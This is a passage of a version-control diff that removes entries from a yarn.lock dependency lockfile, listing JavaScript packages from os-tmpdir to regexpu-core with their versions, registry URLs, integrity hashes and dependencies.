-  dependencies:
-    lcid "^1.0.0"
-
-os-tmpdir@^1.0.1, os-tmpdir@~1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/os-tmpdir/-/os-tmpdir-1.0.2.tgz#bbe67406c79aa85c5cfec766fe5734555dfa1274"
-  integrity sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=
-
-p-cancelable@^0.3.0:
-  version "0.3.0"
-  resolved "https://registry.yarnpkg.com/p-cancelable/-/p-cancelable-0.3.0.tgz#b9e123800bcebb7ac13a479be195b507b98d30fa"
-  integrity sha512-RVbZPLso8+jFeq1MfNvgXtCRED2raz/dKpacfTNxsx6pLEpEomM7gah6VeHSYV3+vo0OAi4MkArtQcWWXuQoyw==
-
-p-cancelable@^1.0.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/p-cancelable/-/p-cancelable-1.1.0.tgz#d078d15a3af409220c886f1d9a0ca2e441ab26cc"
-  integrity sha512-s73XxOZ4zpt1edZYZzvhqFa6uvQc1vwUa0K0BdtIZgQMAJj9IbebH+JkgKZc9h+B05PKHLOTl4ajG1BmNrVZlw==
-
-p-finally@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/p-finally/-/p-finally-1.0.0.tgz#3fbcfb15b899a44123b34b6dcc18b724336a2cae"
-  integrity sha1-P7z7FbiZpEEjs0ttzBi3JDNqLK4=
-
-p-limit@^3.0.2:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/p-limit/-/p-limit-3.1.0.tgz#e1daccbe78d0d1388ca18c64fea38e3e57e3706b"
-  integrity sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==
-  dependencies:
-    yocto-queue "^0.1.0"
-
-p-locate@^5.0.0:
-  version "5.0.0"
-  resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-5.0.0.tgz#83c8315c6785005e3bd021839411c9e110e6d834"
-  integrity sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==
-  dependencies:
-    p-limit "^3.0.2"
-
-p-timeout@^1.1.1:
-  version "1.2.1"
-  resolved "https://registry.yarnpkg.com/p-timeout/-/p-timeout-1.2.1.tgz#5eb3b353b7fce99f101a1038880bb054ebbea386"
-  integrity sha1-XrOzU7f86Z8QGhA4iAuwVOu+o4Y=
-  dependencies:
-    p-finally "^1.0.0"
-
-parse-asn1@^5.0.0, parse-asn1@^5.1.5:
-  version "5.1.6"
-  resolved "https://registry.yarnpkg.com/parse-asn1/-/parse-asn1-5.1.6.tgz#385080a3ec13cb62a62d39409cb3e88844cdaed4"
-  integrity sha512-RnZRo1EPU6JBnra2vGHj0yhp6ebyjBZpmUCLHWiFhxlzvBCCpAuZ7elsBp1PVAbQN0/04VD/19rfzlBSwLstMw==
-  dependencies:
-    asn1.js "^5.2.0"
-    browserify-aes "^1.0.0"
-    evp_bytestokey "^1.0.0"
-    pbkdf2 "^3.0.3"
-    safe-buffer "^5.1.1"
-
-parse-headers@^2.0.0:
-  version "2.0.3"
-  resolved "https://registry.yarnpkg.com/parse-headers/-/parse-headers-2.0.3.tgz#5e8e7512383d140ba02f0c7aa9f49b4399c92515"
-  integrity sha512-QhhZ+DCCit2Coi2vmAKbq5RGTRcQUOE2+REgv8vdyu7MnYx2eZztegqtTx99TZ86GTIwqiy3+4nQTWZ2tgmdCA==
-
-parse-json@^2.2.0:
-  version "2.2.0"
-  resolved "https://registry.yarnpkg.com/parse-json/-/parse-json-2.2.0.tgz#f480f40434ef80741f8469099f8dea18f55a4dc9"
-  integrity sha1-9ID0BDTvgHQfhGkJn43qGPVaTck=
-  dependencies:
-    error-ex "^1.2.0"
-
-parseurl@~1.3.3:
-  version "1.3.3"
-  resolved "https://registry.yarnpkg.com/parseurl/-/parseurl-1.3.3.tgz#9da19e7bee8d12dff0513ed5b76957793bc2e8d4"
-  integrity sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==
-
-pascalcase@^0.1.1:
-  version "0.1.1"
-  resolved "https://registry.yarnpkg.com/pascalcase/-/pascalcase-0.1.1.tgz#b363e55e8006ca6fe21784d2db22bd15d7917f14"
-  integrity sha1-s2PlXoAGym/iF4TS2yK9FdeRfxQ=
-
-patch-package@6.2.2:
-  version "6.2.2"
-  resolved "https://registry.yarnpkg.com/patch-package/-/patch-package-6.2.2.tgz#71d170d650c65c26556f0d0fbbb48d92b6cc5f39"
-  integrity sha512-YqScVYkVcClUY0v8fF0kWOjDYopzIM8e3bj/RU1DPeEF14+dCGm6UeOYm4jvCyxqIEQ5/eJzmbWfDWnUleFNMg==
-  dependencies:
-    "@yarnpkg/lockfile" "^1.1.0"
-    chalk "^2.4.2"
-    cross-spawn "^6.0.5"
-    find-yarn-workspace-root "^1.2.1"
-    fs-extra "^7.0.1"
-    is-ci "^2.0.0"
-    klaw-sync "^6.0.0"
-    minimist "^1.2.0"
-    rimraf "^2.6.3"
-    semver "^5.6.0"
-    slash "^2.0.0"
-    tmp "^0.0.33"
-
-patch-package@^6.2.2:
-  version "6.4.7"
-  resolved "https://registry.yarnpkg.com/patch-package/-/patch-package-6.4.7.tgz#2282d53c397909a0d9ef92dae3fdeb558382b148"
-  integrity sha512-S0vh/ZEafZ17hbhgqdnpunKDfzHQibQizx9g8yEf5dcVk3KOflOfdufRXQX8CSEkyOQwuM/bNz1GwKvFj54kaQ==
-  dependencies:
-    "@yarnpkg/lockfile" "^1.1.0"
-    chalk "^2.4.2"
-    cross-spawn "^6.0.5"
-    find-yarn-workspace-root "^2.0.0"
-    fs-extra "^7.0.1"
-    is-ci "^2.0.0"
-    klaw-sync "^6.0.0"
-    minimist "^1.2.0"
-    open "^7.4.2"
-    rimraf "^2.6.3"
-    semver "^5.6.0"
-    slash "^2.0.0"
-    tmp "^0.0.33"
-
-path-browserify@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/path-browserify/-/path-browserify-1.0.1.tgz#d98454a9c3753d5790860f16f68867b9e46be1fd"
-  integrity sha512-b7uo2UCUOYZcnF/3ID0lulOJi/bafxa1xPe7ZPsammBSpjSWQkjNxlt635YGS2MiR9GjvuXCtz2emr3jbsz98g==
-
-path-exists@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/path-exists/-/path-exists-2.1.0.tgz#0feb6c64f0fc518d9a754dd5efb62c7022761f4b"
-  integrity sha1-D+tsZPD8UY2adU3V77YscCJ2H0s=
-  dependencies:
-    pinkie-promise "^2.0.0"
-
-path-exists@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/path-exists/-/path-exists-4.0.0.tgz#513bdbe2d3b95d7762e8c1137efa195c6c61b5b3"
-  integrity sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==
-
-path-is-absolute@^1.0.0, path-is-absolute@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/path-is-absolute/-/path-is-absolute-1.0.1.tgz#174b9268735534ffbc7ace6bf53a5a9e1b5c5f5f"
-  integrity sha1-F0uSaHNVNP+8es5r9TpanhtcX18=
-
-path-key@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/path-key/-/path-key-2.0.1.tgz#411cadb574c5a140d3a4b1910d40d80cc9f40b40"
-  integrity sha1-QRyttXTFoUDTpLGRDUDYDMn0C0A=
-
-path-parse@^1.0.6:
-  version "1.0.6"
-  resolved "https://registry.yarnpkg.com/path-parse/-/path-parse-1.0.6.tgz#d62dbb5679405d72c4737ec58600e9ddcf06d24c"
-  integrity sha512-GSmOT2EbHrINBf9SR7CDELwlJ8AENk3Qn7OikK4nFYAu3Ote2+JYNVvkpAEQm3/TLNEJFD/xZJjzyxg3KBWOzw==
-
-path-to-regexp@0.1.7:
-  version "0.1.7"
-  resolved "https://registry.yarnpkg.com/path-to-regexp/-/path-to-regexp-0.1.7.tgz#df604178005f522f15eb4490e7247a1bfaa67f8c"
-  integrity sha1-32BBeABfUi8V60SQ5yR6G/qmf4w=
-
-path-type@^1.0.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/path-type/-/path-type-1.1.0.tgz#59c44f7ee491da704da415da5a4070ba4f8fe441"
-  integrity sha1-WcRPfuSR2nBNpBXaWkBwuk+P5EE=
-  dependencies:
-    graceful-fs "^4.1.2"
-    pify "^2.0.0"
-    pinkie-promise "^2.0.0"
-
-pathval@^1.1.1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/pathval/-/pathval-1.1.1.tgz#8534e77a77ce7ac5a2512ea21e0fdb8fcf6c3d8d"
-  integrity sha512-Dp6zGqpTdETdR63lehJYPeIOqpiNBNtc7BpWSLrOje7UaIsE5aY92r/AunQA7rsXvet3lrJ3JnZX29UPTKXyKQ==
-
-pbkdf2@^3.0.17, pbkdf2@^3.0.3, pbkdf2@^3.0.9:
-  version "3.1.2"
-  resolved "https://registry.yarnpkg.com/pbkdf2/-/pbkdf2-3.1.2.tgz#dd822aa0887580e52f1a039dc3eda108efae3075"
-  integrity sha512-iuh7L6jA7JEGu2WxDwtQP1ddOpaJNC4KlDEFfdQajSGgGPNi4OyDc2R7QnbY2bR9QjBVGwgvTdNJZoE7RaxUMA==
-  dependencies:
-    create-hash "^1.1.2"
-    create-hmac "^1.1.4"
-    ripemd160 "^2.0.1"
-    safe-buffer "^5.0.1"
-    sha.js "^2.4.8"
-
-performance-now@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/performance-now/-/performance-now-2.1.0.tgz#6309f4e0e5fa913ec1c69307ae364b4b377c9e7b"
-  integrity sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=
-
-picomatch@^2.0.4, picomatch@^2.2.1, picomatch@^2.2.3:
-  version "2.2.3"
-  resolved "https://registry.yarnpkg.com/picomatch/-/picomatch-2.2.3.tgz#465547f359ccc206d3c48e46a1bcb89bf7ee619d"
-  integrity sha512-KpELjfwcCDUb9PeigTs2mBJzXUPzAuP2oPcA989He8Rte0+YUAjw1JVedDhuTKPkHjSYzMN3npC9luThGYEKdg==
-
-pify@^2.0.0, pify@^2.3.0:
-  version "2.3.0"
-  resolved "https://registry.yarnpkg.com/pify/-/pify-2.3.0.tgz#ed141a6ac043a849ea588498e7dca8b15330e90c"
-  integrity sha1-7RQaasBDqEnqWISY59yosVMw6Qw=
-
-pinkie-promise@^2.0.0:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/pinkie-promise/-/pinkie-promise-2.0.1.tgz#2135d6dfa7a358c069ac9b178776288228450ffa"
-  integrity sha1-ITXW36ejWMBprJsXh3YogihFD/o=
-  dependencies:
-    pinkie "^2.0.0"
-
-pinkie@^2.0.0:
-  version "2.0.4"
-  resolved "https://registry.yarnpkg.com/pinkie/-/pinkie-2.0.4.tgz#72556b80cfa0d48a974e80e77248e80ed4f7f870"
-  integrity sha1-clVrgM+g1IqXToDnckjoDtT3+HA=
-
-posix-character-classes@^0.1.0:
-  version "0.1.1"
-  resolved "https://registry.yarnpkg.com/posix-character-classes/-/posix-character-classes-0.1.1.tgz#01eac0fe3b5af71a2a6c02feabb8c1fef7e00eab"
-  integrity sha1-AerA/jta9xoqbAL+q7jB/vfgDqs=
-
-postinstall-postinstall@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/postinstall-postinstall/-/postinstall-postinstall-2.1.0.tgz#4f7f77441ef539d1512c40bd04c71b06a4704ca3"
-  integrity sha512-7hQX6ZlZXIoRiWNrbMQaLzUUfH+sSx39u8EJ9HYuDc1kLo9IXKWjM5RSquZN1ad5GnH8CGFM78fsAAQi3OKEEQ==
-
-precond@0.2:
-  version "0.2.3"
-  resolved "https://registry.yarnpkg.com/precond/-/precond-0.2.3.tgz#aa9591bcaa24923f1e0f4849d240f47efc1075ac"
-  integrity sha1-qpWRvKokkj8eD0hJ0kD0fvwQdaw=
-
-prepend-http@^1.0.1:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/prepend-http/-/prepend-http-1.0.4.tgz#d4f4562b0ce3696e41ac52d0e002e57a635dc6dc"
-  integrity sha1-1PRWKwzjaW5BrFLQ4ALlemNdxtw=
-
-prepend-http@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/prepend-http/-/prepend-http-2.0.0.tgz#e92434bfa5ea8c19f41cdfd401d741a3c819d897"
-  integrity sha1-6SQ0v6XqjBn0HN/UAddBo8gZ2Jc=
-
-prettier@^2.1.2:
-  version "2.3.0"
-  resolved "https://registry.yarnpkg.com/prettier/-/prettier-2.3.0.tgz#b6a5bf1284026ae640f17f7ff5658a7567fc0d18"
-  integrity sha512-kXtO4s0Lz/DW/IJ9QdWhAf7/NmPWQXkFr/r/WkR3vyI+0v8amTDxiaQSLzs8NBlytfLWX/7uQUMIW677yLKl4w==
-
-private@^0.1.6, private@^0.1.8:
-  version "0.1.8"
-  resolved "https://registry.yarnpkg.com/private/-/private-0.1.8.tgz#2381edb3689f7a53d653190060fcf822d2f368ff"
-  integrity sha512-VvivMrbvd2nKkiG38qjULzlc+4Vx4wm/whI9pQD35YrARNnhxeiRktSOhSukRLFNlzg6Br/cJPet5J/u19r/mg==
-
-process-nextick-args@~2.0.0:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/process-nextick-args/-/process-nextick-args-2.0.1.tgz#7820d9b16120cc55ca9ae7792680ae7dba6d7fe2"
-  integrity sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==
-
-process@^0.11.10:
-  version "0.11.10"
-  resolved "https://registry.yarnpkg.com/process/-/process-0.11.10.tgz#7332300e840161bda3e69a1d1d91a7d4bc16f182"
-  integrity sha1-czIwDoQBYb2j5podHZGn1LwW8YI=
-
-promise-to-callback@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/promise-to-callback/-/promise-to-callback-1.0.0.tgz#5d2a749010bfb67d963598fcd3960746a68feef7"
-  integrity sha1-XSp0kBC/tn2WNZj805YHRqaP7vc=
-  dependencies:
-    is-fn "^1.0.0"
-    set-immediate-shim "^1.0.1"
-
-proxy-addr@~2.0.5:
-  version "2.0.6"
-  resolved "https://registry.yarnpkg.com/proxy-addr/-/proxy-addr-2.0.6.tgz#fdc2336505447d3f2f2c638ed272caf614bbb2bf"
-  integrity sha512-dh/frvCBVmSsDYzw6n926jv974gddhkFPfiN8hPOi30Wax25QZyZEGveluCgliBnqmuM+UJmBErbAUFIoDbjOw==
-  dependencies:
-    forwarded "~0.1.2"
-    ipaddr.js "1.9.1"
-
-prr@~1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/prr/-/prr-1.0.1.tgz#d3fc114ba06995a45ec6893f484ceb1d78f5f476"
-  integrity sha1-0/wRS6BplaRexok/SEzrHXj19HY=
-
-pseudomap@^1.0.1:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/pseudomap/-/pseudomap-1.0.2.tgz#f052a28da70e618917ef0a8ac34c1ae5a68286b3"
-  integrity sha1-8FKijacOYYkX7wqKw0wa5aaChrM=
-
-psl@^1.1.28:
-  version "1.8.0"
-  resolved "https://registry.yarnpkg.com/psl/-/psl-1.8.0.tgz#9326f8bcfb013adcc005fdff056acce020e51c24"
-  integrity sha512-RIdOzyoavK+hA18OGGWDqUTsCLhtA7IcZ/6NCs4fFJaHBDab+pDDmDIByWFRQJq2Cd7r1OoQxBGKOaztq+hjIQ==
-
-public-encrypt@^4.0.0:
-  version "4.0.3"
-  resolved "https://registry.yarnpkg.com/public-encrypt/-/public-encrypt-4.0.3.tgz#4fcc9d77a07e48ba7527e7cbe0de33d0701331e0"
-  integrity sha512-zVpa8oKZSz5bTMTFClc1fQOnyyEzpl5ozpi1B5YcvBrdohMjH2rfsBtyXcuNuwjsDIXmBYlF2N5FlJYhR29t8Q==
-  dependencies:
-    bn.js "^4.1.0"
-    browserify-rsa "^4.0.0"
-    create-hash "^1.1.0"
-    parse-asn1 "^5.0.0"
-    randombytes "^2.0.1"
-    safe-buffer "^5.1.2"
-
-pull-cat@^1.1.9:
-  version "1.1.11"
-  resolved "https://registry.yarnpkg.com/pull-cat/-/pull-cat-1.1.11.tgz#b642dd1255da376a706b6db4fa962f5fdb74c31b"
-  integrity sha1-tkLdElXaN2pwa220+pYvX9t0wxs=
-
-pull-defer@^0.2.2:
-  version "0.2.3"
-  resolved "https://registry.yarnpkg.com/pull-defer/-/pull-defer-0.2.3.tgz#4ee09c6d9e227bede9938db80391c3dac489d113"
-  integrity sha512-/An3KE7mVjZCqNhZsr22k1Tx8MACnUnHZZNPSJ0S62td8JtYr/AiRG42Vz7Syu31SoTLUzVIe61jtT/pNdjVYA==
-
-pull-level@^2.0.3:
-  version "2.0.4"
-  resolved "https://registry.yarnpkg.com/pull-level/-/pull-level-2.0.4.tgz#4822e61757c10bdcc7cf4a03af04c92734c9afac"
-  integrity sha512-fW6pljDeUThpq5KXwKbRG3X7Ogk3vc75d5OQU/TvXXui65ykm+Bn+fiktg+MOx2jJ85cd+sheufPL+rw9QSVZg==
-  dependencies:
-    level-post "^1.0.7"
-    pull-cat "^1.1.9"
-    pull-live "^1.0.1"
-    pull-pushable "^2.0.0"
-    pull-stream "^3.4.0"
-    pull-window "^2.1.4"
-    stream-to-pull-stream "^1.7.1"
-
-pull-live@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/pull-live/-/pull-live-1.0.1.tgz#a4ecee01e330155e9124bbbcf4761f21b38f51f5"
-  integrity sha1-pOzuAeMwFV6RJLu89HYfIbOPUfU=
-  dependencies:
-    pull-cat "^1.1.9"
-    pull-stream "^3.4.0"
-
-pull-pushable@^2.0.0:
-  version "2.2.0"
-  resolved "https://registry.yarnpkg.com/pull-pushable/-/pull-pushable-2.2.0.tgz#5f2f3aed47ad86919f01b12a2e99d6f1bd776581"
-  integrity sha1-Xy867UethpGfAbEqLpnW8b13ZYE=
-
-pull-stream@^3.2.3, pull-stream@^3.4.0, pull-stream@^3.6.8:
-  version "3.6.14"
-  resolved "https://registry.yarnpkg.com/pull-stream/-/pull-stream-3.6.14.tgz#529dbd5b86131f4a5ed636fdf7f6af00781357ee"
-  integrity sha512-KIqdvpqHHaTUA2mCYcLG1ibEbu/LCKoJZsBWyv9lSYtPkJPBq8m3Hxa103xHi6D2thj5YXa0TqK3L3GUkwgnew==
-
-pull-window@^2.1.4:
-  version "2.1.4"
-  resolved "https://registry.yarnpkg.com/pull-window/-/pull-window-2.1.4.tgz#fc3b86feebd1920c7ae297691e23f705f88552f0"
-  integrity sha1-/DuG/uvRkgx64pdpHiP3BfiFUvA=
-  dependencies:
-    looper "^2.0.0"
-
-pump@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/pump/-/pump-3.0.0.tgz#b4a2116815bde2f4e1ea602354e8c75565107a64"
-  integrity sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==
-  dependencies:
-    end-of-stream "^1.1.0"
-    once "^1.3.1"
-
-punycode@1.3.2:
-  version "1.3.2"
-  resolved "https://registry.yarnpkg.com/punycode/-/punycode-1.3.2.tgz#9653a036fb7c1ee42342f2325cceefea3926c48d"
-  integrity sha1-llOgNvt8HuQjQvIyXM7v6jkmxI0=
-
-punycode@2.1.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/punycode/-/punycode-2.1.0.tgz#5f863edc89b96db09074bad7947bf09056ca4e7d"
-  integrity sha1-X4Y+3Im5bbCQdLrXlHvwkFbKTn0=
-
-punycode@^2.1.0, punycode@^2.1.1:
-  version "2.1.1"
-  resolved "https://registry.yarnpkg.com/punycode/-/punycode-2.1.1.tgz#b58b010ac40c22c5657616c8d2c2c02c7bf479ec"
-  integrity sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==
-
-qs@6.7.0:
-  version "6.7.0"
-  resolved "https://registry.yarnpkg.com/qs/-/qs-6.7.0.tgz#41dc1a015e3d581f1621776be31afb2876a9b1bc"
-  integrity sha512-VCdBRNFTX1fyE7Nb6FYoURo/SPe62QCaAyzJvUjwRaIsc+NePBEniHlvxFmmX56+HZphIGtV0XeCirBtpDrTyQ==
-
-qs@~6.5.2:
-  version "6.5.2"
-  resolved "https://registry.yarnpkg.com/qs/-/qs-6.5.2.tgz#cb3ae806e8740444584ef154ce8ee98d403f3e36"
-  integrity sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA==
-
-query-string@^5.0.1:
-  version "5.1.1"
-  resolved "https://registry.yarnpkg.com/query-string/-/query-string-5.1.1.tgz#a78c012b71c17e05f2e3fa2319dd330682efb3cb"
-  integrity sha512-gjWOsm2SoGlgLEdAGt7a6slVOk9mGiXmPFMqrEhLQ68rhQuBnpfs3+EmlvqKyxnCo9/PPlF+9MtY02S1aFg+Jw==
-  dependencies:
-    decode-uri-component "^0.2.0"
-    object-assign "^4.1.0"
-    strict-uri-encode "^1.0.0"
-
-querystring@0.2.0:
-  version "0.2.0"
-  resolved "https://registry.yarnpkg.com/querystring/-/querystring-0.2.0.tgz#b209849203bb25df820da756e747005878521620"
-  integrity sha1-sgmEkgO7Jd+CDadW50cAWHhSFiA=
-
-randombytes@^2.0.0, randombytes@^2.0.1, randombytes@^2.0.5, randombytes@^2.0.6, randombytes@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/randombytes/-/randombytes-2.1.0.tgz#df6f84372f0270dc65cdf6291349ab7a473d4f2a"
-  integrity sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==
-  dependencies:
-    safe-buffer "^5.1.0"
-
-randomfill@^1.0.3:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/randomfill/-/randomfill-1.0.4.tgz#c92196fc86ab42be983f1bf31778224931d61458"
-  integrity sha512-87lcbR8+MhcWcUiQ+9e+Rwx8MyR2P7qnt15ynUlbm3TU/fjbgz4GsvfSUDTemtCCtVCqb4ZcEFlyPNTh9bBTLw==
-  dependencies:
-    randombytes "^2.0.5"
-    safe-buffer "^5.1.0"
-
-range-parser@~1.2.1:
-  version "1.2.1"
-  resolved "https://registry.yarnpkg.com/range-parser/-/range-parser-1.2.1.tgz#3cf37023d199e1c24d1a55b84800c2f3e6468031"
-  integrity sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==
-
-raw-body@2.4.0:
-  version "2.4.0"
-  resolved "https://registry.yarnpkg.com/raw-body/-/raw-body-2.4.0.tgz#a1ce6fb9c9bc356ca52e89256ab59059e13d0332"
-  integrity sha512-4Oz8DUIwdvoa5qMJelxipzi/iJIi40O5cGV1wNYp5hvZP8ZN0T+jiNkL0QepXs+EsQ9XJ8ipEDoiH70ySUJP3Q==
-  dependencies:
-    bytes "3.1.0"
-    http-errors "1.7.2"
-    iconv-lite "0.4.24"
-    unpipe "1.0.0"
-
-read-pkg-up@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/read-pkg-up/-/read-pkg-up-1.0.1.tgz#9d63c13276c065918d57f002a57f40a1b643fb02"
-  integrity sha1-nWPBMnbAZZGNV/ACpX9AobZD+wI=
-  dependencies:
-    find-up "^1.0.0"
-    read-pkg "^1.0.0"
-
-read-pkg@^1.0.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/read-pkg/-/read-pkg-1.1.0.tgz#f5ffaa5ecd29cb31c0474bca7d756b6bb29e3f28"
-  integrity sha1-9f+qXs0pyzHAR0vKfXVra7KePyg=
-  dependencies:
-    load-json-file "^1.0.0"
-    normalize-package-data "^2.3.2"
-    path-type "^1.0.0"
-
-readable-stream@^1.0.33:
-  version "1.1.14"
-  resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-1.1.14.tgz#7cf4c54ef648e3813084c636dd2079e166c081d9"
-  integrity sha1-fPTFTvZI44EwhMY23SB54WbAgdk=
-  dependencies:
-    core-util-is "~1.0.0"
-    inherits "~2.0.1"
-    isarray "0.0.1"
-    string_decoder "~0.10.x"
-
-readable-stream@^2.0.0, readable-stream@^2.0.5, readable-stream@^2.2.2, readable-stream@^2.2.8, readable-stream@^2.2.9, readable-stream@^2.3.6, readable-stream@~2.3.6:
-  version "2.3.7"
-  resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-2.3.7.tgz#1eca1cf711aef814c04f62252a36a62f6cb23b57"
-  integrity sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==
-  dependencies:
-    core-util-is "~1.0.0"
-    inherits "~2.0.3"
-    isarray "~1.0.0"
-    process-nextick-args "~2.0.0"
-    safe-buffer "~5.1.1"
-    string_decoder "~1.1.1"
-    util-deprecate "~1.0.1"
-
-readable-stream@^3.0.6, readable-stream@^3.6.0:
-  version "3.6.0"
-  resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-3.6.0.tgz#337bbda3adc0706bd3e024426a286d4b4b2c9198"
-  integrity sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==
-  dependencies:
-    inherits "^2.0.3"
-    string_decoder "^1.1.1"
-    util-deprecate "^1.0.1"
-
-readable-stream@~1.0.15:
-  version "1.0.34"
-  resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-1.0.34.tgz#125820e34bc842d2f2aaafafe4c2916ee32c157c"
-  integrity sha1-Elgg40vIQtLyqq+v5MKRbuMsFXw=
-  dependencies:
-    core-util-is "~1.0.0"
-    inherits "~2.0.1"
-    isarray "0.0.1"
-    string_decoder "~0.10.x"
-
-readdirp@~3.5.0:
-  version "3.5.0"
-  resolved "https://registry.yarnpkg.com/readdirp/-/readdirp-3.5.0.tgz#9ba74c019b15d365278d2e91bb8c48d7b4d42c9e"
-  integrity sha512-cMhu7c/8rdhkHXWsY+osBhfSy0JikwpHK/5+imo+LpeasTF8ouErHrlYkwT0++njiyuDvc7OFY5T3ukvZ8qmFQ==
-  dependencies:
-    picomatch "^2.2.1"
-
-regenerate@^1.2.1:
-  version "1.4.2"
-  resolved "https://registry.yarnpkg.com/regenerate/-/regenerate-1.4.2.tgz#b9346d8827e8f5a32f7ba29637d398b69014848a"
-  integrity sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A==
-
-regenerator-runtime@^0.11.0:
-  version "0.11.1"
-  resolved "https://registry.yarnpkg.com/regenerator-runtime/-/regenerator-runtime-0.11.1.tgz#be05ad7f9bf7d22e056f9726cee5017fbf19e2e9"
-  integrity sha512-MguG95oij0fC3QV3URf4V2SDYGJhJnJGqvIIgdECeODCT98wSWDAJ94SSuVpYQUoTcGUIL6L4yNB7j1DFFHSBg==
-
-regenerator-transform@^0.10.0:
-  version "0.10.1"
-  resolved "https://registry.yarnpkg.com/regenerator-transform/-/regenerator-transform-0.10.1.tgz#1e4996837231da8b7f3cf4114d71b5691a0680dd"
-  integrity sha512-PJepbvDbuK1xgIgnau7Y90cwaAmO/LCLMI2mPvaXq2heGMR3aWW5/BQvYrhJ8jgmQjXewXvBjzfqKcVOmhjZ6Q==
-  dependencies:
-    babel-runtime "^6.18.0"
-    babel-types "^6.19.0"
-    private "^0.1.6"
-
-regex-not@^1.0.0, regex-not@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/regex-not/-/regex-not-1.0.2.tgz#1f4ece27e00b0b65e0247a6810e6a85d83a5752c"
-  integrity sha512-J6SDjUgDxQj5NusnOtdFxDwN/+HWykR8GELwctJ7mdqhcyy1xEc4SRFHUXvxTp661YaVKAjfRLZ9cCqS6tn32A==
-  dependencies:
-    extend-shallow "^3.0.2"
-    safe-regex "^1.1.0"
-
-regexp.prototype.flags@^1.2.0:
-  version "1.3.1"
-  resolved "https://registry.yarnpkg.com/regexp.prototype.flags/-/regexp.prototype.flags-1.3.1.tgz#7ef352ae8d159e758c0eadca6f8fcb4eef07be26"
-  integrity sha512-JiBdRBq91WlY7uRJ0ds7R+dU02i6LKi8r3BuQhNXn+kmeLN+EfHhfjqMRis1zJxnlu88hq/4dx0P2OP3APRTOA==
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.3"
-
-regexpu-core@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/regexpu-core/-/regexpu-core-2.0.0.tgz#49d038837b8dcf8bfa5b9a42139938e6ea2ae240"
-  integrity sha1-SdA4g3uNz4v6W5pCE5k45uoq4kA=
-  dependencies:
-    regenerate "^1.2.1"
